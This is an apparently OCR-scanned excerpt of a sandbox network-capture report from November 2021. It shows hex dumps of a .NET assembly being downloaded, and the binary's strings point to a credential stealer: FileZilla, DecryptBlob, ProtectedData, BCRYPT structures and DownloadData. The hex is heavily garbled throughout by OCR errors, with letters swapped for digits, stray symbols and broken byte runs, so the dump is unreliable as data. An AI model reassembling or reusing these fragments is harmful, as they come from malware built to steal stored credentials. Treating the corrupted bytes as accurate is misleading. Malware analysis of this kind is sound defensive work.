63 00 0a 00 00 00 00 02 00 1a 00 55 6f 00 0a 00 00 00 00 00 00 00 00 7b 7b 00 03 0a 00 00 01 1b 30 08 00 77 01 00 00
4f 00 00 11 73 a9 00 00 Oa Oa 72 29 12 00 70 72 07 Oa 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 28 82 01 00 Oa 6f 83 01 00 Oa
8c 73 00 00 01 72 b2 13 00 70 28 84 01 00 Oa 73 73 01 00 Oa Ob 07 6f 74 01 00 Oa Oc 08 6f 75 01 00 Oa Od 38 f5 00 00 00
09 6f 76 01 00 Oa 74 4d 00 00 01 13 04 06 1c 8d 58 00 00 01 25 16 1a 8d 5a 00 00 01 25 dO da 00 00 04 28 37 00 00 Oa 7
33800 000a a2 2517 11 04 1f 09 8d 5a 00 00 01 25 d0 a4 00 00
Data Ascii: ,0,0&~**@6J(/W!BcUo{{OwOsr)prp~((osrp(ssotou8ovtMX%Z%(7s8%Z%

2021-11-18 09:30:37 UTC 3255 IN Data Raw: 00 Oc 00 00 00 00 00 00 00 00 00 00 00 4b 00 00 00 e6 00 00 00 31 01 00 00 03 00 00 00 Oa 00 00 01 00 00 00
00 e0 01 00 00 56 00 00 00 36 02 00 00 03 00 00 00 Oa 00 00 01 02 00 00 00 d5 01 00 00 6f 00 00 00 44 02 00 00 Oc 00
00 00 00 00 00 00 02 00 00 00 cc 01 00 00 86 00 00 00 52 02 00 00 Oc 00 00 00 00 00 00 00 02 00 00 00 c¢3 01 00 00 9d
00 00 00 60 02 00 00 Oc 00 00 00 00 00 00 00 00 00 00 00 87 01 00 00 e7 00 00 00 6e 02 00 00 03 00 00 00 Oa 00 00 01
00 00 00 00 06 00 00 00 7a 02 00 00 80 02 00 00 03 00 00 00 Of 00 00 01 1b 30 04 00 6 00 00 00 4f 00 00 11 73 a9 00
00 0a 0a 02 03 28 2b 00 00 Oa 10 00 72 cc 13 00 70 72 7d 14 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 28 82 01 00 Oa 6f 83
01 00 Oa 8c 73 00 00 01 72 b2 13 00 70 28 84 01 00 Oa 73 73 01 00 Oa Ob
Data Ascii: K1V60DR nz0Os(+rpr}p~((osrp(ss

2021-11-18 09:30:37 UTC 3256 IN Data Raw: Ob 00 00 Oa dc de Oa 08 2c 06 08 6f Ob 00 00 Oa dc de 0a 07 2c 06 07 6f Ob 00 00 Oa dc de 03 26 de 00 06 2a
01 40 00 00 00 00 4f 00 7c cb 00 03 0a 00 00 01 02 00 3d 00 9e db 00 Oa 00 00 00 00 02 00 36 00 b1 e7 00 Oa 00 00 00
00 02 00 2f 00 c4 f3 00 0a 00 00 00 00 00 00 15 00 ea ff 00 03 0a 00 00 01 1b 30 03 00 63 00 00 00 54 00 00 11 28 8d 01
00 0a 2d 07 72 ae 15 00 70 2b 05 72 b6 15 00 70 Oa de 09 26 72 be 15 00 70 Oa de 00 72 c6 15 00 70 72 20 16 00 70 28
€9 00 00 06 Ob 72 c¢6 15 00 70 72 38 16 00 70 28 €9 00 00 06 26 07 28 26 00 00 Oa 2d 0f 07 72 c3 02 00 70 06 28 5f 00 00
0a Oc de Ob de 03 26 de 00 7e 1e 00 00 Oa 2a 08 2a 00 01 1c 00 00 00 00 00 00 16 16 00 09 Of 00 00 01 00 00 00 00 58 5
800 03 0f 00 00 01 1b 30 02 00 34 00 00 00 06 00 00 11 7e 7d 01
Data Ascii: ,0,0&*@O|=6/0cT(-rp+rp&rprpr p(rpr8p(&(&-rp(_ &~**XX04~}
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:37 UTC 3257 IN Data Raw: 03 7d 23 00 00 04 2a 1e 02 28 62 00 00 Oa 2a 1e 02 7b 2a 00 00 04 2a 22 02 03 7d 2a 00 00 04 2a 1e 02 7b
2b 00 00 04 2a 22 02 03 7d 2b 00 00 04 2a 1e 02 28 62 00 00 0a 2a 1e 02 7b 2c 00 00 04 2a 22 02 03 7d 2c 00 00 04 2a
1e 02 7b 2d 00 00 04 2a 22 02 03 7d 2d 00 00 04 2a 1e 02 7b 2e 00 00 04 2a 22 02 03 7d 2e 00 00 04 2a 1e 02 7b 2f 00 0
004 2a 22 02 03 7d 2f 00 00 04 2a 1e 02 7b 30 00 00 04 2a 22 02 03 7d 30 00 00 04 2a 1e 02 7b 31 00 00 04 2a 22 02 03
7d 31 00 00 04 2a 13 30 02 00 68 00 00 00 1b 00 00 11 17 Oa 02 28 27 01 00 06 25 2d 04 26 16 2b 08 6f 8e 01 00 Oa 16
fe 02 2c 02 16 0a 02 28 2b 01 00 06 25 2d 04 26 16 2b 08 6f 8f 01 00 0a 16 fe 02 2¢ 02 16 0a 02 28 29 01 00 06 25 2d 04
26 16 2b 08 6f 90 01 00 Oa 16 fe 02 2c 02 16 Oa 02 28 25 01 00 06 25
Data AsCil: (D[ o+ (R, ¥ K4 5} 50"} 0{1*"}1*0h ('%-&-+0, (+%-&+0, ()%-&+0, (%%

2021-11-18 09:30:37 UTC 3259 IN Data Raw: 2a 1e 02 7b 76 00 00 04 2a 22 02 03 7d 76 00 00 04 2a 1e 02 7b 77 00 00 04 2a 22 02 03 7d 77 00 00 04 2a
1le 02 7b 78 00 00 04 2a 22 02 03 7d 78 00 00 04 2a 1e 02 7b 79 00 00 04 2a 22 02 03 7d 79 00 00 04 2a 1e 02 7b 7a 00
00 04 2a 22 02 03 7d 7a 00 00 04 2a 1e 02 7b 7b 00 00 04 2a 22 02 03 7d 7b 00 00 04 2a 00 00 00 13 30 02 00 80 00 00
00 00 00 00 00 02 73 a9 00 00 Oa 7d 6¢ 00 00 04 02 73 a9 00 00 Oa 7d 6d 00 00 04 02 73 a9 00 00 Oa 7d 6e 00 00 04 02
73 a9 00 00 Oa 7d 6f 00 00 04 02 73 ac 00 00 Oa 7d 70 00 00 04 02 73 19 00 00 Oa 7d 71 00 00 04 02 73 36 00 00 Oa 7d
7200 00 04 02 73 ab 00 00 Oa 7d 73 00 00 04 02 73 aa 00 00 Oa 7d 74 00 00 04 02 73 aa 00 00 Oa 7d 75 00 00 04 02 73
aa 00 00 Oa 7d 76 00 00 04 02 28 62 00 00 Oa 2a 1e 02 7b 7c 00 00 04 2a 22
Data Ascii: *{v*"v*{w*" tw*{x*" hx*{y*"}y*{z*"}z*{{*"H*0s}is}ms}ns}os}ps}gs6}rs)ssitstusiv(b*{|*"

2021-11-18 09:30:37 UTC 3260 IN Data Raw: af 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 72 64 16 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 28 al 01 00 Oa 6f a2
01 00 Oa 13 04 2b 39 11 04 6f 0f 00 00 Oa 74 2d 00 00 01 13 05 11 05 6f 86 00 00 Oa 6f 3b 00 00 Oa 13 06 07 6f 86 00 00
0Oa 11 06 6f 25 00 00 Oa 2d 09 07 11 06 6f a3 01 00 Oa 26 de 03 26 de 00 11 04 6f Oc 00 00 Oa 2d be de 15 11 04 75 16 00
0001 13 07 11 07 2c 07 11 07 6f Ob 00 00 Oa dc de 03 26 de 00 12 02 28 a4 01 00 Oa 3a 4a ff ff ff de Oe 12 02 fe 16 44 00
00 1b 6f Ob 00 00 Oa dc 02 73 9e 01 00 06 13 08 11 08 28 7b 00 00 Oa 07 6f 86 00 00 Oa 6f 70 00 00 Oa 6f a5 01 00 06 11
08 1f 26 8d 5a 00 00 01 25 d0 e7 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 72 72 16 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 6f
a1 01 00 06 11 08 7d Oa 01 00 04 02 17 7d 09 01 00 04
Data Ascii: (7s8rdp~((0+90t-00;00%-0&&0-u,0&(:JDos({0opo&Z%(7s8rrp~(0}}

2021-11-18 09:30:37 UTC 3261 IN Data Raw: 22 00 61 1f 7d 28 06 00 9d 2b 1c 19 06 00 16 2c cf 2b 06 00 a0 Oc cf 2b 06 00 66 22 cf 2b 06 00 a7 Oc cf 2b 22
00 27 3f 7d 28 1a 00 86 3b e7 3c 1a 00 fc 2c de 2c 06 00 a3 2b 1c 19 1a 00 fe 1d de 2c 16 00 dO 27 04 39 26 00 3d 32 dO
3d 26 00 52 2e d0 3d 2f 01 6a 33 00 00 26 00 9a 3c d0 3d 26 00 68 3c d0 3d 2a 00 89 1f 3a 39 2e 00 b3 25 5b 2d 2e 00 7f
25 5b 2d 2e 00 6b 25 5b 2d 16 00 c9 25 dc 2a 16 00 7b le dc 2a 16 00 e2 25 dc 2a 06 00 04 22 cf 2b 0a 00 cd 1f 78 30 06
00 6¢ 28 cf 2b 06 00 a8 2f 1c 19 06 00 84 30 cf 2b 06 00 b3 3a 1c 35 06 00 b0 41 cf 2b 06 00 f5 1f cf 2b 06 00 f1 28 1c 19
06 00 47 20 1c 19 06 00 a5 3f cf 2b 06 00 24 3a cf 2b 06 00 1a 3e cf 2b 8b 01 8f 31 00 00 Oe 00 e6 30 43 2b Oe 00 e2 3d
43 2b Oe 00 ¢3 3f 43 2b 06 00 fb 27 65 40 06 00 43
Data Ascii: "a}(+,++f"++"?}(;<,,+,'9&=2=&R.=/j3&<=&h<=*:9.%]-.%][-.k%[-%*{*%*"+X0l(+/0+:5A++(G ?+$:+>+10C+=C+?
C+'e@C

2021-11-18 09:30:37 UTC 3263 IN Data Raw: 00 1c 00 ef 00 81 00 10 00 7b 32 00 00 29 00 20 00 f8 00 01 00 10 00 2f Oe 00 00 29 00 21 00 fd 00 a1 00 00
00 03 44 00 00 00 00 24 00 04 01 09 01 10 00 e1 1c 00 00 59 01 24 00 1c 01 09 01 10 00 71 43 00 00 59 01 26 00 1c 01
09 01 10 00 66 43 00 00 59 01 29 00 1c 01 01 00 10 00 eb 10 00 00 29 00 2a 00 1c 01 01 00 10 00 5e 11 00 00 29 00 2¢
0021 01 01 00 10 00 30 00 00 00 29 00 32 00 2f 01 01 00 10 00 2 03 00 00 29 00 39 00 3f 01 01 00 10 00 da 04 00 00 2
900 3d 00 48 01 09 01 10 00 ¢5 18 00 00 59 01 40 00 4f 01 09 01 10 00 38 19 00 00 59 01 4e 00 52 01 09 01 10 00 eb 18
00 00 59 01 51 00 52 01 09 01 10 00 04 19 00 00 59 01 54 00 53 01 01 01 00 00 37 09 00 00 01 01 56 00 54 01 01 01 00
00 ¢3 0b 00 00 01 01 59 00 54 01 01 00 10 00 fb 06 00 00 29 00 5f 00
Data Ascii: {2) /)| DSY$SqCY&ICY))*),10)2/,)9?)=HY @O8YNRYQRYTS7VTYT)_

2021-11-18 09:30:37 UTC 3264 IN Data Raw: 07 2c¢ 24 11 06 00 0d 3e a6 00 06 00 1f 3f f5 10 01 00 e0 1a a6 00 01 00 Ob 1b a6 00 01 00 e0 1a a6 00 01 00
0Ob 1b a6 00 01 00 36 1b 27 11 01 00 61 1b 30 11 01 00 8c 1b 39 11 01 00 b7 1b 42 11 01 00 €0 1a a6 00 01 00 Ob 1b 17
11 01 00 36 1b a6 00 01 00 61 1b 17 11 01 00 8c 1b 24 11 01 00 b7 1b a6 00 01 00 cc 1b a6 00 01 00 0 1a a6 00 01 00
0Ob 1b d1 10 01 00 36 1b d1 10 01 00 61 1b a6 00 01 00 e0 la a6 00 01 00 Ob 1b a6 00 01 00 36 1b a6 00 36 00 52 18 d1
10 06 00 b4 26 d1 10 06 00 71 2c d1 10 06 00 32 1e 15 04 06 00 2a 1e d1 10 06 00 aa 19 15 04 06 00 9f 19 d1 10 06 00
8d 27 15 04 06 00 87 27 d1 10 06 00 b1 40 15 04 06 00 a4 40 d1 10 06 00 86 15 d1 10 06 00 6e 19 24 11 06 00 16 38 d1
10 06 00 10 29 d1 10 06 00 57 29 d1 10 06 00 01 3e d1 10 06 10 3e la abé
Data Ascii: ,$>?6'a09B6a$6a66R&q,2*"'@ @n$8)W)>>

2021-11-18 09:30:37 UTC 3265 IN Data Raw: 1a d1 10 36 00 21 11 be 12 16 00 58 01 ¢3 12 06 00 a7 38 f5 10 36 00 21 11 c8 12 16 00 16 02 cd 12 16 00 94
03d7 12 06 06 5¢ 19 d1 10 56 80 30 19 €8 12 56 80 29 19 €8 12 16 00 b6 02 84 12 16 00 cb 03 84 12 16 00 b5 06 ed 12
16 00 a7 08 04 13 36 00 21 11 1d 13 16 00 cd 01 22 13 16 00 6d 03 2a 13 36 00 21 11 34 13 16 00 66 02 30 12 16 00 86
02 39 13 50 20 00 00 00 00 96 00 5f 2f 43 13 01 00 9c 23 00 00 00 00 91 00 d3 34 52 13 02 00 6¢ 25 00 00 00 00 91 00 3e
2a 5d 13 03 00 08 28 00 00 00 00 91 00 21 39 68 13 04 00 ac 29 00 00 00 00 91 00 ¢4 34 73 13 05 00 14 2b 00 00 00 00
91 00 b5 19 e2 00 06 00 70 2b 00 00 00 00 91 00 c9 41 29 03 08 00 e0 2¢ 00 00 00 00 96 00 ac 35 7e 13 09 00 14 2d 00
00 00 00 96 00 1b 2¢ 91 13 Ob 00 b0 2d 00 00 00 00 91 00 e2 38 52 13
Data Ascii: 61X86/\VOV)6!"m*614f09P _/C#4RI%>*|(19h)4s+p+A),5~-,-8R

2021-11-18 09:30:37 UTC 3267 IN Data Raw: 96 00 98 1d fe 14 91 00 62 4e 00 00 00 00 96 00 81 44 fe 14 94 00 84 4e 00 00 00 00 96 00 b9 44 fe 14 97 00
b2 4e 00 00 00 00 96 00 Oc Oc fe 14 9a 00 d4 4e 00 00 00 00 96 00 ef 09 fe 14 9d 00 f6 4e 00 00 00 00 96 00 fd Ob fe 14
a0 00 20 4f 00 00 00 00 96 00 el 09 fe 14 a3 00 68 4f 00 00 00 00 96 00 94 44 fe 14 a6 00 c1 4f 00 00 00 00 96 00 d3 09
fe 14 a9 00 f1 4f 00 00 00 00 96 00 74 44 fe 14 ac 00 1c 50 00 00 00 00 96 00 fd 09 fe 14 af 00 88 50 00 00 00 00 96 00 a5
44 fe 14 b2 00 be 50 00 00 00 00 96 00 f5 Ob fe 14 b5 00 f8 50 00 00 00 00 96 00 d4 1d fe 14 b8 00 50 51 00 00 00 00 86
18 f0 33 01 00 bb 00 Oc 53 00 00 00 00 c6 00 03 1d e4 14 bb 00 18 53 00 00 00 00 96 00 be 09 f1 14 be 00 b0 54 00 00 00
00 96 00 e4 1f 02 0f c1 00 30 55 00 00 00 00 96 00 cf
Data Ascii: (NDNDNNN OhODOOtDPPDPPPQ3SSTOU

2021-11-18 09:30:37 UTC 3268 IN Data Raw: 00 00 00 6 01 68 3b ff 15 42 01 1c 82 00 00 00 00 86 18 f0 33 01 00 43 01 24 82 00 00 00 00 e6 01 98 2d 8
1543 01 2¢ 82 00 00 00 00 6 01 68 3b ff 15 44 01 84 82 00 00 00 00 86 18 0 33 01 00 45 01 00 00 00 00 00 00 c6 05 98
2d 18 15 45 01 00 00 00 00 00 00 c6 05 68 3b ff 15 46 01 8¢ 82 00 00 00 00 e6 01 98 2d 18 15 47 01 94 82 00 00 00 00 e6
01 68 3b ff 15 48 01 c4 82 00 00 00 00 86 18 f0 33 01 00 49 01 cc 82 00 00 00 00 86 18 0 33 06 16 49 01 50 83 00 00 00
0086 08 80 3d 0d 16 4a 01 58 83 00 00 00 00 86 00 7d 37 13 16 4a 01 7c 84 00 00 00 00 96 00 36 20 3a 02 4b 01 Oc 85
00 00 00 00 96 00 95 40 29 03 4c 01 8c 85 00 00 00 00 96 00 f9 21 23 16 4d 01 a3 85 00 00 00 00 96 00 8¢ 37 29 03 4e
01 b8 85 00 00 00 00 96 00 12 3¢ 2a 16 4f 01 e8 86 00 00 00 00
Data Ascii: h;B3C$-C,h;D3E-Eh;F-Gh;H3I3IP=JX}7J]|6 :K@)L#M7)N<*O

2021-11-18 09:30:37 UTC 3269 IN Data Raw: 79 a1 00 00 00 00 86 08 d2 06 c9 00 8c 01 81 al 00 00 00 00 86 08 da 06 10 00 8¢ 01 8a al 00 00 00 00 86 18
f0 33 01 00 8d 01 92 a1 00 00 00 00 86 08 47 04 c9 00 8d 01 9a al 00 00 00 00 86 08 4f 04 10 00 8d 01 a3 a1l 00 00 00
00 86 08 d2 06 c9 00 8e 01 ab a1 00 00 00 00 86 08 da 06 10 00 8e 01 b4 a1l 00 00 00 00 86 08 b5 08 cd 16 8f 01 bc al
00 00 00 00 86 08 bd 08 d7 16 8f 01 c5 a1 00 00 00 00 86 08 13 0b e2 16 90 01 cd a1 00 00 00 00 86 08 1b Ob ec 16 90 0
1 d6 al 00 00 00 00 86 08 b0 Oc f7 16 91 01 de al 00 00 00 00 86 08 b8 Oc 01 17 91 01 e7 al 00 00 00 00 86 08 12 Oe Oc
17 92 01 ef a1 00 00 00 00 86 08 1a Oe 16 17 92 01 f8 a1 00 00 00 00 86 00 f5 Oe 1b 00 93 01 6¢ a2 00 00 00 00 86 18 fO
3301 009301 74 a2 00 00 00 00 86 18 f0 33 01 00 93 01 7c a2 00
Data Ascii: y3GOI3t3|
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Timestamp transferred Direction Data

2021-11-18 09:30:37 UTC 3271 IN Data Raw: 17 bd 01 99 a6 00 00 00 00 86 08 56 11 a4 17 bd 01 a2 a6 00 00 00 00 86 08 1le 00 9a 17 be 01 aa a6 00 00
00 00 86 08 27 00 a4 17 be 01 b3 a6 00 00 00 00 86 08 1a 03 9a 17 bf 01 bb a6 00 00 00 00 86 08 23 03 a4 17 bf 01 c4 a6
00 00 00 00 86 08 c8 04 70 17 c0 01 cc a6 00 00 00 00 86 08 d1 04 7a 17 c0 01 d5 a6 00 00 00 00 86 08 2c 07 9a 17 c1
01 dd a6 00 00 00 00 86 08 35 07 a4 17 c1 01 e6 a6 00 00 00 00 86 08 25 09 9a 17 c2 01 ee a6 00 00 00 00 86 08 2e 09 a
417 c2 01 f7 a6 00 00 00 00 86 08 b1 Ob 9a 17 c3 01 ff a6 00 00 00 00 86 08 ba Ob a4 17 c3 01 08 a7 00 00 00 00 86 08 e
50c 9a 17 c4 01 10 a7 00 00 00 00 86 08 ee Oc a4 17 c4 01 1c a7 00 00 00 00 86 18 f0 33 01 00 c5 01 a8 a7 00 00 00 00
86 08 47 04 c9 00 c5 01 b0 a7 00 00 00 00 86 08 4f 04 10 00 c5 01
Data Ascii: V'#pz,5%.3GO

2021-11-18 09:30:37 UTC 3272 IN Data Raw: 03 Oe 22 18 €9 01 96 aa 00 00 00 00 83 00 bc 10 2d 18 ea 01 al aa 00 00 00 00 91 18 14 34 €0 14 eb 01 ad aa
00 00 00 00 86 18 f0 33 01 00 eb 01 b5 aa 00 00 00 00 83 00 61 01 07 18 eb 01 00 00 00 00 03 00 86 18 f0 33 74 00 ec
01 00 00 00 00 03 00 c6 01 b4 1f a3 13 ee 01 00 00 00 00 03 00 c6 01 af 1f 38 18 f2 01 00 00 00 00 03 00 c6 01 a5 1f 45
18 f8 01 00 00 00 00 03 00 86 18 fO 33 74 00 fa 01 00 00 00 00 03 00 c6 01 b4 1f ac 13 fc 01 00 00 00 00 03 00 c6 01 af 1f
4d 18 fe 01 00 00 00 00 03 00 c6 01 a5 1f 57 18 02 02 00 00 00 00 03 00 86 18 f0 33 74 00 03 02 00 00 00 00 03 00 c6 01
b4 1f cc 13 05 02 00 00 00 00 03 00 c6 01 af 1f 5d 18 Ob 02 00 00 00 00 03 00 c6 01 a5 1f 6d 18 13 02 00 00 00 00 03 00
86 18 f0 33 74 00 15 02 00 00 00 00 03 00 c6 01 b4 1f d8
Data Ascii: "-43a3t8E3tMW3tJm3t

2021-11-18 09:30:37 UTC 3273 IN Data Raw: 27 00 00 02 00 6d 31 00 00 03 00 6e 1e 00 00 01 00 9f 27 00 00 02 00 4e 42 02 00 03 00 e6 41 00 00 01 00 9f
2700 00 02 00 64 21 00 00 01 00 44 3c 00 00 01 00 91 19 00 00 02 00 c¢3 21 10 10 03 00 c0 42 00 00 01 00 91 19 00 00
020032110 10 03 00 c0 42 00 00 01 00 3a 1e 00 00 01 00 65 3c 00 00 01 00 44 40 00 00 02 00 db 41 00 00 01 00 3f
34 00 00 01 00 d5 37 00 00 01 00 8b 0a 00 00 02 00 db 41 00 00 01 00 bb 3b 00 00 01 00 bb 3b 00 00 01 00 b5 3d 02 00
01 00 4c 38 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5
3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00
01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00 01 00 b5 3d 00 00
Data Ascii: 'm1n'NBA'd!D<!B!B:e<D@A?47A;;=L8================

2021-11-18 09:30:37 UTC 3275 IN Data Raw: 00 00 01 00 9f 28 00 00 02 00 79 2f 00 00 01 00 9f 28 00 00 02 00 79 2f 00 00 01 00 9f 28 00 00 02 00 79 2f 00
00 01 00 9f 28 00 00 02 00 79 2f 00 00 01 00 9f 28 00 00 02 00 79 2f 00 00 01 00 98 20 00 00 01 00 3¢ 41 00 00 02 00 77
20 00 00 01 00 28 3d 00 00 01 00 81 20 00 00 01 00 28 3d 00 00 01 00 Of 2c 00 00 02 00 3 1c 00 00 01 00 31 41 00 00 02
00 5e 27 00 00 01 00 21 41 00 00 01 00 21 41 00 00 02 00 1a 41 00 00 01 00 8e 26 00 00 01 00 75 41 00 00 02 00 2d 27
00 00 01 00 b5 2d 00 00 01 00 5d 2a 00 00 01 00 b5 2d 00 00 01 00 5d 2a 00 00 01 00 b5 2d 00 00 01 00 5d 2a 00 00 01
00 b5 2d 00 00 01 00 5d 2a 00 00 01 00 b5 2d 00 00 01 00 5d 2a 00 00 01 00 b5 3d 00 00 01 00 ¢5 38 00 00 01 00 60 21
00 00 01 00 60 21 00 00 01 00 98 38 00 00 01 00 8e 26 00 00 01
Data Ascii: (y/(y/(y/(y/(yl <Aw (= (=, 1AMAIAA&UA-'-]*-]*-]*-]*-]*=8"1"18&

2021-11-18 09:30:37 UTC 3276 IN Data Raw: 00 05 00 8b 3d 00 00 06 00 1e 38 00 00 01 00 7d 3c 00 20 02 00 68 44 00 00 03 00 53 40 00 00 04 00 4a 40 00
00 05 00 8b 3d 00 00 06 00 1e 38 00 00 07 00 18 2a 00 00 08 00 c3 3c 00 00 01 00 8b 3d 00 00 02 00 b5 3d 00 00 01 00
c3 3c 00 00 02 00 46 1d 00 00 01 00 7d 3c 00 20 02 00 68 44 00 00 03 00 3c 40 00 00 04 00 34 40 00 00 05 00 16 38 00
00 01 00 7d 3c 00 20 02 00 68 44 00 00 03 00 3c 40 00 00 04 00 34 40 00 00 05 00 16 38 00 00 06 00 18 2a 00 00 07 00 c
3 3c 00 00 01 00 b5 3d 00 00 01 00 ¢3 3c 00 00 02 00 46 1d 00 00 01 00 e5 2b 00 00 02 00 f6 41 00 20 03 00 ed 21 02 00
04 00 e5 41 00 00 05 00 b7 3c 00 00 06 00 ab 3c 00 00 07 00 3c 40 00 00 08 00 34 40 00 00 09 00 16 38 00 00 01 00 e5
2b 00 00 02 00 f6 41 00 20 03 00 ed 21 02 00 04 00 e5 41 00 00 05 00
Data Ascii: =8}< hDS@J@=8*<==<F}< hD<@4@8}< hD<@4@8*<=<F+A IA<<<@4@8+A 'A

2021-11-18 09:30:37 UTC 3280 IN Data Raw: 23 0a 43 00 07 10 29 Oa b3 00 8a 1a 43 Oa 43 00 07 10 49 Oa b3 00 5a 1a 63 Oa 43 00 07 10 69 Oa b3 00 6a
1a 83 0a 43 00 07 10 89 Oa b3 00 7a 1a a3 Oa 43 00 07 10 a9 Oa b3 00 8a 1a c3 Oa 43 00 07 10 c9 Oa b3 00 9a la el Oa
ab 00 07 10 e3 Oa 43 00 07 10 e9 Oa b3 00 aa 1a 01 Ob ab 00 07 10 03 Ob 43 00 07 10 09 Ob b3 00 ba 1a 23 0b 43 00 07
10 29 Ob b3 00 ca 1a 41 Ob ab 00 9 1b 49 Ob b3 00 da 1a 61 Ob ab 00 f8 1b 63 Ob 43 00 07 10 69 Ob b3 00 ea 1a 81 Ob
ab 00 07 1c 83 Ob 43 00 07 10 89 Ob b3 00 fb 1a al Ob ab 00 16 1c a3 Ob 43 00 07 10 a9 Ob b3 00 Oc 1b c1 Ob ab 00 25
1c c9 0b b3 00 1d 1b el Ob 43 00 07 10 €9 0b b3 00 2e 1b 01 Oc 43 00 07 10 09 Oc b3 00 3f 1b 21 Oc 43 00 07 10 29 Oc
b3 00 9c 1f 41 Oc 43 00 07 10 49 Oc b3 00 b1 1f 61 Oc 43 00 07 10 81 Oc 43
Data Ascii: #C)CCIZcCijCzCCCC#C)AlacCiCC%C.C?!C)AClaCC

2021-11-18 09:30:37 UTC 3284 IN Data Raw: 00 02 00 ¢5 01 b7 00 01 00 c6 01 b7 00 02 00 ¢7 01 b9 00 01 00 ¢8 01 b9 00 02 00 c9 01 bb 00 01 00 ca 01 bb
0002 00 cb 01 bd 00 01 00 cc 01 bd 00 02 00 cd 01 bf 00 01 00 ce 01 bf 00 02 00 cf 01 ¢1 00 01 00 d0 01 ¢1 00 02 00 d1
01¢3 0001 00 d2 01 ¢3 00 02 00 d4 01 c5 00 01 00 d5 01 ¢5 00 02 00 12 02 ¢7 00 02 00 14 02 c9 00 06 00 28 00 13 00
56 00 20 04 17 00 56 00 22 04 19 00 56 00 24 04 1b 00 56 00 26 04 1d 00 56 00 28 04 1f 00 56 00 2a 04 21 00 56 00 2¢c
04 23 00 2c 2b 36 2b 1f 00 30 00 65 00 6d 00 99 00 a0 00 af 00 be 00 8 00 f4 00 Ob 01 17 01 2e 01 3a 01 51 01 5d 01 93
01 cf 01 08 02 29 02 8a 02 91 02 24 04 5¢ 04 75 04 ¢2 04 1b 05 65 05 6b 05 77 05 ae 05 b6 05 be 05 0f 06 57 06 67 06 7b
06 a6 06 11 07 1a 07 22 07 2b 07 4c 08 54 08 82 08 8f 08 9b 08
Data Ascii: (V V"V$V&V(V*IV #,+6+0em.:Q])$\uekwWgf{"+L T

2021-11-18 09:30:37 UTC 3288 IN Data Raw: 5f 33 00 3c 3e 70 5f 5f 33 00 46 75 6e 63 60 33 00 67 65 74 5f 49 64 33 00 73 65 74 5f 49 64 33 00 64 76 73
6a 69 6f 68 71 33 00 61 73 64 6b 39 79 33 00 45 6e 74 69 74 79 33 00 34 45 46 34 37 32 45 32 45 37 34 31 31 36 43 37
46 44 39 35 43 37 34 41 42 34 32 32 43 43 46 38 30 44 42 31 43 34 30 34 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49
6e 69 74 54 79 70 65 53 69 7a 65 3d 31 34 00 67 65 74 5f 49 64 31 34 00 73 65 74 5f 49 64 31 34 00 45 6e 74 69 74 79 3
13400 5f5f53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 31 32 34 00 5f 5f 53 74 61 74 69 6
3417272617949 6e 69 74 54 79 70 65 53 69 7a 65 3d 32 34 00 49 64 32 34 00 73 64 66 6f 38 6e 32 33 34 00 67 6b 64
73 69 38 79 32 33 34 00 34 36 38 38 34 37 31 33 42 32 46 38 38 32
Data Ascii: _3<>p__3Func’3get_ld3set_ld3dvsjiohg3asdk9y3Entity34EF472E2E74116C7FD95C74AB422CCF80DB1C
404__StaticArrayInitTypeSize=14get_ld14set_|d14Entityl4 _StaticArrayInitTypeSize=124__StaticArrayInitTypeSize=
241d24sdfo8n234gkdsi8y23446884713B2F882

2021-11-18 09:30:37 UTC 3292 IN Data Raw: 44 45 53 4b 54 4f 50 56 45 52 54 52 45 53 00 42 43 52 59 50 54 5f 4b 45 59 5f 4c 45 4e 47 54 48 53 5f 53 54
52 55 43 54 00 63 62 49 56 00 70 62 49 56 00 76 61 6¢ 75 65 5f 5f 00 46 69 6¢ 65 5a 69 6¢ 6¢ 61 00 63 62 44 61 74 61 00
44 6f 77 6e 6¢c 6f 61 64 44 61 74 61 00 50 72 6f 74 65 63 74 65 64 44 61 74 61 00 62 45 6e 63 72 79 70 74 65 64 44 61 74
6100 63 62 41 75 74 68 44 61 74 61 00 70 62 41 75 74 68 44 61 74 61 00 52 65 61 64 52 61 77 44 61 74 61 00 6d 73 63
6f 72 6¢ 69 62 00 44 65 63 72 79 70 74 42 6¢ 6f 62 00 3¢ 3e 63 00 52 65 6¢ 65 61 73 65 48 64 63 00 47 65 74 48 64 63 00
53 79 73 74 65 6d 2e 43 6f 6¢ 6¢ 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 00 66 75 6e 63 00 67 65 74 5f 4d 61 6e 61
67 65 64 54 68 72 65 61 64 49 64 00 3c 3e 6¢ 5f 5f 69 6e 69
Data Ascii: DESKTOPVERTRESBCRYPT_KEY_LENGTHS_STRUCTcbIVpblVvalue__FileZillachDataDownloadD
ataProtectedDatabEncryptedDatacbAuthDatapbAuthDataReadRawDatamscorlibDecryptBlob<>cReleaseHdcGetHdcS
ystem.Collections.Genericfuncget_ManagedThreadld<>|__ini
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:37 UTC 3296 IN Data Raw: 69 66 69 63 61 74 65 56 61 6¢ 69 64 61 74 69 6f 6e 43 61 6¢ 6¢ 62 61 63 6b 00 67 65 74 5f 53 65 72 76 65 72
4365 72 74 69 66 69 63 61 74 65 56 61 6¢ 69 64 61 74 69 6f 6e 43 61 6¢ 6C 62 61 63 6b 00 73 65 74 5f 53 65 72 76 65 72
4365 72 74 69 66 69 63 61 74 65 56 61 6¢ 69 64 61 74 69 6f 6e 43 61 6¢ 6C 62 61 63 6b 00 63 61 6C 6C 62 61 63 6b 00
